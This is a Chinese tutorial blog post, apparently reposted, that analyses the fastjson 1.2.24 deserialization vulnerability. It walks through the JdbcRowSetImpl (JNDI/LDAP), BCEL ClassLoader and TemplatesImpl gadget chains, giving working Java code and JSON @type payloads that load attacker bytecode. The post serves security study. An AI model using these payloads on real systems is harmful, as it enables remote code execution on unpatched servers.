fastjson-1.2.24利用

news2024/9/21 14:40:47

参考视频:fastjson反序列化漏洞2-1.2.24利用

参考博客:Fastjson系列二——1.2.22-1.2.24反序列化漏洞

分析版本

fastjson1.2.24

JDK 8u141

fastjson反序列化特点

  1. 不需要实现Serializable

    因为对于找不到符合条件的反序列化器,就把类当作JavaBean。

  2. 变量有对应的setter,getter(返回值类型需要满足条件),public属性

  3. 触发点setter,getter

  4. sink 反射/动态类加载

我们在json中指定@type参数,故fastjson会尝试将该字符串反序列化为指定类的对象,并调用类中的set方法给对象进行赋值,把反序列化后拿到的对象toJSON时用get方法。

JdbcRowSetImpl链

分析过程

利用的是JdbcRowSetImpl这个类

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); //很明显能看出来是JNDI的lookup
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

我们想下利用链流程,

首先要给DataSourceName赋值,DataSourceName的setter和getter方法都有。但是注意getter方法的返回值类型,分析源码的时候讲到了加载反序列化器时要触发getter方法返回值只能是几个类型。这里getter不会被触发。(在后续的toJSON中会被触发)

之后要触发connect()方法,查找谁调用了它。发现setter和getter方法都有,和上面一样的。

在这里插入图片描述

这里选setAutoCommit方法。

我们都选择set方法,利用起来方便些。

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }

}

攻击实现

根据上面分析,很容易把payload写出来,fastjson通过我们给的json反序列化出一个JdbcRowSetImpl对象,过程中先调用setDataSourceName给dataSourceName赋值再调用setAutoCommit --> connect()

下面用的JNDI+LDAP攻击,我用的8u141,JNDI还没修复。

public class FastJsonJdbcRowSetImpl {
    public static void main(String[] args) throws Exception {
        //JdbcRowSetImpl
        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:10389/cn=Exp,dc=example,dc=com\",\"autoCommit\":0}";
        JSONObject jsonObject = JSON.parseObject(s);
        System.out.println(jsonObject);
        //LdapCtx
    }
}

这里要注意dataSourceName的写法,因为fastjson是根据setter和getter获取的属性,所以名字要根据setter和getter的名字写,而不是根据对应属性名写。

Bcel链

上面讲到的JdbcRowSetImpl链,是和JNDI注入结合使用,会收到JDK版本限制。

Bcel链不受JDK版本限制。

分析过程

首先JDK内置com.sun.org.apache.bcel.internal.util.ClassLoader类,分析写在注释里了。

protected Class loadClass(String class_name, boolean resolve)
  throws ClassNotFoundException
{
  Class cl = null;

  /* First try: lookup hash table.
   */
  if((cl=(Class)classes.get(class_name)) == null) {
    /* Second try: Load system class using system class loader. You better
     * don't mess around with them.
     */
    for(int i=0; i < ignored_packages.length; i++) {
      if(class_name.startsWith(ignored_packages[i])) {
        cl = deferTo.loadClass(class_name);
        break;
      }
    }

    if(cl == null) {
      JavaClass clazz = null;

      /* Third try: Special request?
       */
      if(class_name.indexOf("$$BCEL$$") >= 0)                           //如果传进来的字节码包含$$BCEL$$
        clazz = createClass(class_name);                                //调用createClass(class_name);拿到解密完成的字节码     
      else { // Fourth try: Load classes via repository
        if ((clazz = repository.loadClass(class_name)) != null) {
          clazz = modifyClass(clazz);
        }
        else
          throw new ClassNotFoundException(class_name);
      }

      if(clazz != null) {
        byte[] bytes  = clazz.getBytes();                               
        cl = defineClass(class_name, bytes, 0, bytes.length);           //调用defineClass加载字节码  
      } else // Fourth try: Use default class loader
        cl = Class.forName(class_name);
    }

    if(resolve)
      resolveClass(cl);
  }

  classes.put(class_name, cl);

  return cl;
}
protected JavaClass createClass(String class_name) {
  int    index     = class_name.indexOf("$$BCEL$$");
  String real_name = class_name.substring(index + 8);   //取$$BCEL$$后面字符串

  JavaClass clazz = null;
  try {
    byte[]      bytes  = Utility.decode(real_name, true); //将字符串解密
    ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

    clazz = parser.parse();
  } catch(Throwable e) {
    e.printStackTrace();
    return null;
  }

  // Adapt the class name to the passed value
  ConstantPool cp = clazz.getConstantPool();

  ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
                                                   Constants.CONSTANT_Class);
  ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
                                                   Constants.CONSTANT_Utf8);
  name.setBytes(class_name.replace('.', '/'));

  return clazz;
}

所以我们将恶意字节码加密并在前面加上 B C E L BCEL BCEL,就可以弹计算器了。

public class FastJsonBcel {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Exp.class"));
        String encode = Utility.encode(code,true);
        ClassLoader classLoader = new ClassLoader();
        classLoader.loadClass("$$BCEL$$"+encode).newInstance();
    }
}

之后看是否有一个类,可以实现classLoader.loadClass("$$BCEL$$"+encode).newInstance();

发现tomcat的一个类org.apache.tomcat.dbcp.dbcp2.BasicDataSource,正好满足这个条件

protected ConnectionFactory createConnectionFactory() throws SQLException {
    // Load the JDBC driver class
    Driver driverToUse = this.driver;

    if (driverToUse == null) {
        Class<?> driverFromCCL = null;
        if (driverClassName != null) {
            try {
                try {
                    if (driverClassLoader == null) {                   
                        driverFromCCL = Class.forName(driverClassName);
                    } else {
                        driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);  //保证driveClassLoader不为NULL,进入这个循环,
                    }

driverClassName赋值为我们的字节码。

这里调用的是forName之前在双亲委派中也说到了

    ClassLoader classLoader = ClassLoader.getSystemClassLoader();
    Class<?> person = classLoader.loadClass("Person");             //默认不初始化,对应forName的false
    Class<?> person = Class.forName("Person", false, classLoader); //两个代码作用相同

之后就要看driveClassLoader,driverClassName的赋值了。(看有没有对应的setter赋值方法)

正好是是有对应的setter方法的,我就不贴出来了。

最后还要看下怎么调用执行这个createConnectionFactory()方法,也要往上找,直到找到setter和getter方法。

在这里插入图片描述

在这里插入图片描述

最后setter,getter方法也找到了。

这里选择getConnection()方法,用set方法的话还得引入新的类。这里调用get方法的话也是在toJSON调用(方法返回Connect,过不了判断,不会在生成反序列化器中调用),顺序很清晰。

更新payload

public class FastJsonBcel {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Exp.class"));
        String encode = Utility.encode(code,true);
        ClassLoader classLoader = new ClassLoader();
        //classLoader.loadClass("$$BCEL$$"+encode).newInstance();


        BasicDataSource basicDataSource = new BasicDataSource();
        basicDataSource.setDriverClassName("$$BCEL$$"+encode);
        basicDataSource.setDriverClassLoader(classLoader);
        basicDataSource.getConnection();
    }
}

最终payload

public class FastJsonBcel {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Exp.class"));
        String encode = Utility.encode(code,true);
        ClassLoader classLoader = new ClassLoader();
        //classLoader.loadClass("$$BCEL$$"+encode).newInstance();


//        BasicDataSource basicDataSource = new BasicDataSource();
//        basicDataSource.setDriverClassName("$$BCEL$$"+encode);
//        basicDataSource.setDriverClassLoader(classLoader);
//        basicDataSource.getConnection();

        //String s = "{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}";
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$" + encode +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        JSONObject jsonObject = JSON.parseObject(s);
    }
}

TemplateImpl链

这个链是联系到了CB链中找到的TemplatesImpl的getOutputProperties,用到了get方法,而fastjson是可以触发get方法的。

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties(); //CC3中动态加载类是由newTransformer调用的
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

具体细节就不分析了(不使用,实现攻击需要传很多没有setter和getter的变量,所以要fastjson开启一个参数)

public class FastJsonTemplateImpl {
    public static void main(String[] args) throws Exception{
        //byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        String code = readClass("G:\\Java反序列化\\class_test\\Test.class");
        //System.out.println(readClass("G:\\Java反序列化\\class_test\\Test.class"));
        //byte[][] codes = {code};
//        TemplatesImpl templates = new TemplatesImpl();
//        Class templatesClass = templates.getClass();
//        Field name = templatesClass.getDeclaredField("_name");
//        name.setAccessible(true);
//        name.set(templates, "pass");
//
//        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
//        bytecodes.setAccessible(true);
//        //bytecodes.set(templates, codes);
//
//        Field tfactory = templatesClass.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templates, new TransformerFactoryImpl());

        String s = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_name\":\"pass\",\"_bytecodes\":[\"" + code + "\"],\"_tfactory\":{},\"_outputProperties\":{}}";
        JSONObject jsonObject = JSON.parseObject(s, Feature.SupportNonPublicField);
        System.out.println(jsonObject);
    }


    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
}

开始我想省略\"_outputProperties\":{},但是发现JSON.parseObject(s, Feature.SupportNonPublicField);不会调用toJSON也就是不会在组后把所有getter方法都调用一遍,并且在return (JSONObject) parse(text, features);中就抛出了异常,所以要加上这句话让getOutputProperties在生成反序列化器时执行。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1967365.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SAP ERP 通过SAP PO LDAP适配器与微软AD域服务系统集成案例

一、客户介绍 上海某芯片制造公司的主要产品应用于图像传感器、 图像信号处理芯片、 低功耗芯片、 射频芯片等。专注集成电路技术开发与制造&#xff0c;服务于图像传感器、图形图像信号处理芯片、低功耗芯片、射频芯片等领域的全球客户。 二、项目需求 该企业内部办公电…

Flutter 初识:数据表格和卡片

Flutter数据表格和卡片小结 Table属性解析示例TableRow属性解析 TableCell属性解析 DataTable属性解析示例DataColumn属性解析示例 DataRow属性解析示例 DataCell属性解析 Card属性解析示例 Table Table 是 Flutter 中用于显示表格布局的小部件。它允许你定义行和列&#xff0…

前端日历插件VCalendar

官网地址 API | VCalendar 1.安装 yarn add v-calendarnext popperjs/core 2.全局引入 mian.js //日历插件 import VCalendar from v-calendar; import v-calendar/style.css;app.use(VCalendar); 3.使用 <div><VCalendar reservationTime expanded borderless…

无涯问知AI PC版发布,星环科技开启个人大模型应用新篇章

5月30-31日&#xff0c;2024向星力未来数据技术峰会期间&#xff0c;星环科技推出无涯问知AI PC版&#xff0c;这是一款专为个人用户设计的大模型应用产品&#xff0c;标志着个人智能应用时代的全面展开。 无涯问知AI PC版基于星环科技先进的大模型技术&#xff0c;可以在配备英…

jenkins获取sonarqube质量门禁结果

前景 在使用 Jenkins 集成 SonarQube 时&#xff0c;获取质量门禁&#xff08;Quality Gate&#xff09;结果非常重要。SonarQube 的质量门禁是一种质量控制机制&#xff0c;用于评估代码质量是否符合预设的标准。以下是获取质量门禁结果的意义和作用&#xff1a; 评估代码质量…

跟张良均老师学大数据人工智能-批量集训营开班中

随着我国大数据和人工智能产业的飞速发展&#xff0c;未来社会对高素质科技人才的需求日益旺盛。为助力广大青少年提前掌握前沿技术&#xff0c;实现自我价值&#xff0c;泰迪智能科技多名优秀老师联合打造暑期大数据人工智能集训营&#xff0c;旨在培养具备创新精神和实战能力…

常见红外协议整理

1.NEC 1.1 信号编码 载波频率&#xff1a;38kHz载波&#xff0c;载波占空比建议位1/3或1/4。 逻辑"0":562.5μs的脉冲burst(约21个周期) 562.5μs的空闲,总时长1.125ms 逻辑"1":562.5μs的脉冲burst(约21个周期) 1.6875ms的空闲,总时长2.25ms 引导…

大模型的一些思考

迄今为止&#xff0c;应该没有人还怀疑大模型的能力吧&#xff1f;但目前大模型实现真正落地&#xff0c;其实还有一段艰难的路要走。 和大模型相关的一些术语 **1. 大模型&#xff1a;**一般指1亿以上参数的模型&#xff0c;但是这个标准一直在升级&#xff0c;目前万亿参数…

树模型详解3-xgboost

回归树&#xff1a; 表达式为T&#xff08;x&#xff09;wq&#xff08;x&#xff09;&#xff0c;意思为&#xff1a;一个样本x&#xff0c;落到树的哪个叶子结点由q&#xff08;x&#xff09;得出&#xff0c;具体叶子结点对应的值由w函数得出 如何构建函数&#xff1a; 运…

智能视频监控在车辆管理与安全预警中的应用挑战

随着公共交通的客货运事业蓬勃发展&#xff0c;车辆保有量逐年增加&#xff0c;交通安全管理形势愈发严峻。为应对超速、疲劳驾驶、两客一危等违规驾驶行为&#xff0c;智能视频监控技术成为提升交通安全管理水平的关键手段。然而&#xff0c;尽管智能视频监控技术在理论上具有…

MATLAB(9)GIS模型

一、介绍 在GIS&#xff08;地理信息系统&#xff09;中&#xff0c;模型的实现可以非常多样化&#xff0c;取决于你想要解决的具体问题。MATLAB作为一个强大的数值计算和可视化工具&#xff0c;可以被用来开发GIS相关的模型&#xff0c;尽管它不是专门为GIS设计的&#xff08…

免费【2024】springboot 大学生二手电子产品交易平台设计与实现

博主介绍&#xff1a;✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围&#xff1a;SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化…

Python机器学习实战:分类算法之支持向量机-垃圾邮件识别

为了解决特定问题而进行的学习是提高效率的最佳途径。这种方法能够使我们专注于最相关的知识和技能&#xff0c;从而更快地掌握解决问题所需的能力。 目录 支持向量机算法介绍 练习题 Python代码与分析 支持向量机和朴素贝叶斯的联系 支持向量机算法介绍 支持向量机&#…

时尚好看的APPUI设计离不开社交属性

时尚好看的APP UI设计离不开社交属性 艾斯视觉作为ui设计和前端开发从业者&#xff0c;其观点始终认为&#xff1a;移动应用程序&#xff08;APP&#xff09;已成为人们日常生活中不可或缺的一部分。一个时尚好看的APP UI设计不仅能够吸引用户&#xff0c;更能提升用户体验。而…

产品经理必备:8大高效的需求跟踪工具

本文将分享8款主流需求进度跟踪工具&#xff1a;PingCode、Worktile、Teambition、禅道、Tapd、Trello、Wrike、Monday.com。 每个产品经理都面临着如何有效监控项目进展、确保团队与目标同步的问题。选择合适的工具不仅可以减少误会和延误&#xff0c;还能显著提升团队的生产效…

【第六节】python的特殊语法和常用模块

目录 一、特殊语法 1.1 高阶函数 1.2 函数嵌套 1.3 装饰器 二、常用的模块 2.1 time模块 2.1.1 时间的表示方式 2.1.2 time 的使用方式 2.2 datetime 模块 2.2.1 datetime 模块总览 2.2.2 date 类 2.2.3 time 类 2.2.4 datetime 类 2.2.5 timedelta 类 2.3 rand…

轻松应对5W家企业月度排查!这家国企是如何做到的?

国央企的内控合规体系建设一直都是重中之重&#xff0c;今年年初国资委也提到要加强重要领域、重要业务、重要人员和关键环节的内控监督&#xff0c;构建全覆盖内控责任体系。 那么&#xff0c;国央企该如何响应政策号召&#xff0c;快速完善风险合规内控“三位一体”管控体系…

MATLAB(8)深度变化模型

一、前言 在MATLAB中模拟深度变化模型通常依赖于具体的应用场景&#xff0c;比如海洋深度、地下水深度、地形高度变化等。由于“深度变化”可以涉及多种物理过程和数学模型&#xff0c;我将提供一个简化的示例&#xff0c;该示例模拟了一个基于时间变化的深度变化模型&#xff…

nginx常见命令与报错

ps&#xff1a;macOS系统&#xff0c;以下内容是mac电脑&#xff0c;且使用brew安装的&#xff0c;其他慎看&#xff0c;因为安装位置等信息可能会略有不同 1.下载Homebrew /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/…

商家转账到零钱2024最新开通必过攻略

微信支付商家转账到零钱功能申请设置了人工审核的门槛&#xff0c;本意是为了防止没有合规使用场景的商户滥用该功能&#xff0c;但这也让相当多的真实用户被一次次拒之门外。结合过去6年开通此类产品的经验&#xff0c;今天我们就以2024年最新的的商家转账到零钱的开通流程做一…